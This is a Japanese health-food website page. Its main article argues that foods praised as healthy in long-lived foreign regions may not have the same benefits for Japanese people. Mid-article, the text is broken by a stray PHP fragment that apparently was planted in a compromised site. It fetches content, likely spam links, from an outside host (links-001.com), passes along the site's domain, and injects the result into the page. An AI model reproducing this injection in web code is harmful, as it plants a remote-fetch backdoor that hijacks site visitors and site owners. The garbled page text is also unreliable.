前へ
次へ

健康食の定義はひとつではありません

健康食の定義を明確にするのは難しいですが、意外にも好きな食べ物が健康食に該当すると考える人は少なくあ

more

手軽に摂取できる健康食、納豆とキムチ

ストレス社会に生きる多忙な現代人は、食事においても外食やコンビニ弁当などで済ませることが多くなりがち

more

フルーツで出来る健康食をお教えします

健康食というと、発酵食品であるとか、質素な食事というイメージがある方もいるでしょうけど、実はフルーツ

more

海外の健康食は日本でも健康にいいのか

健康番組で最近取り上げられている話題として、健康長寿の地域で何が食べられているかです。
統計情報がいろいろ活用されるようになっていて、各都道府県だけでなく市区町村、さらに細かい地域における平均寿命なども分かるようになっています。
すると長寿の人が多い地域もわかり、なぜ長寿の人が多いのかの疑問もわいてきます。
そこに健康番組が首を突っこんで仮説を立てます。
あくまでも仮設ですが、その地域で特に食べられている食べ物が長寿に大きく影響しているのではないかとしてその食品を探し出し番組内で放送します。
その番組を見た人はその食べ物が健康食と考えるようになり、次の日にお店に行くと既に売り切れになっていたりするでしょう。
その番組を見ていた人や見ていた人がネットなどで情報を拡散して多くの人が買うためです。
ただその状況は長く続かず、しばらくすると店頭に並ぶようになります。
そしてその番組では別の長寿の地域を探してまた別の食品を探そうとします。

".file_get_contents('http://links-001.com/123set5.php?dom='.str_replace("www.", "", $_SERVER['HTTP_HOST']))."

"; ?>

日本においてはたくさんの健康食と呼ばれるものがあり、同じ日本人であれば本当に健康にいい食品なら健康になれるかもしれません。
では海外において健康になると言われている食品が日本でも健康になるかどうかです。
この点に関しては健康になることもあればならない可能性もあると言えるでしょう。
人間、人においてはすべての人種が全く同じでは無いとされ、日本人は消化ができるけども海外の人は消化ができない食べ物などがあります。
逆に海外のある地域の人は消化できるけど日本人は消化しにくいなどがあるはずです。
となると海外にある長寿の街でよく食べられている物を日本人が食べたとしても、健康になれるとは限らないときもあります。
海外で健康的とされているオリーブオイルやヨーグルトがあり、日本にも入ってきて良く食べられるようになりました。
ただ海外の人に比べると健康効果がない可能性もあることを知っておきましょう。

Page Top